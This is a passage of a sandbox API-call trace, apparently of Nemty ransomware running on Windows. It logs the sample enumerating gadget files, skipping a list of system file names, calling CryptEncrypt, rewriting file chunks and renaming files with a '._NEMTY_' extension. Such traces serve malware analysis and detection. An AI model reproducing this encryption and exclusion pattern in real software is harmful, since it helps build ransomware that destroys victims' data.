[0150.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0150.659] CloseHandle (hObject=0xffffffff) returned 0 [0150.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0150.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0150.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0150.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0150.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0150.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\localizedstrings.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\localizedStrings.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\localizedstrings.js._nemty_kgobjgd_")) returned 0 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.659] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe268, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2=".") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="..") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="...") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="windows") returned -1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="$RECYCLE.BIN") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="rsa") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="NTDETECT.COM") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="ntldr") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="MSDOS.SYS") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="IO.SYS") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="AUTOEXEC.BAT") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="ntuser.dat") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="desktop.ini") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="CONFIG.SYS") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="RECYCLER") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="BOOTSECT.BAK") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="bootmgr") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="programdata") returned 1 [0150.660] lstrcmpiW (lpString1="settings.js", lpString2="appdata") returned 1 [0150.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0150.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0150.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0150.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0150.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340188 [0150.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0150.661] Sleep (dwMilliseconds=0x5) [0150.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd72e470, dwHighDateTime=0x1d561e8)) [0150.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd72e470, dwHighDateTime=0x1d561e8)) [0150.663] GetLastError () returned 0x5 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.663] GetLastError () returned 0x5 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.663] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0150.663] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0150.663] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340230 [0150.663] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340230, pcchString=0x653e5dc | out: pszString="3UbkeuyMlgvknL7k2eXnHb6fiAIDpHos364Ic20ZomPUmpzvXSPDeUR8sEIFjckg\r\n7EuutEBze5jiCPQWFQ4nFwMePR5TyY/dyKNNF9z9A4hJpkTKM/tkRHY94S9+pyS2\r\nc9I1u5hZJPq56seus9yzE4c99BYOrsldxNRImXWYoHq8LDwkrZjqdI6NTrILK2sq\r\ngtonfH1mfWVZtyjx+ckvEO/TZFwPrlNUPNGnedWEAdb1ETiQjhLNlJ+OeO8ONGV3\r\n2vEdRLivyke0mZkIZWRr1jdRe+OYx/rTK5IxVDusmsD4oaYukhLhrjmgzRae7HBk\r\nTbIrQ0DsjUnquespdVJAGQ==\r\n", pcchString=0x653e5dc) returned 1 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0150.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340230 | out: hHeap=0x4f90000) returned 1 [0150.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340230 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0150.663] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0150.663] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0150.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0150.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.761] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.767] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.767] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340230, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0150.767] CloseHandle (hObject=0xffffffff) returned 0 [0150.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403a0 [0150.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.768] RtlAllocateHeap 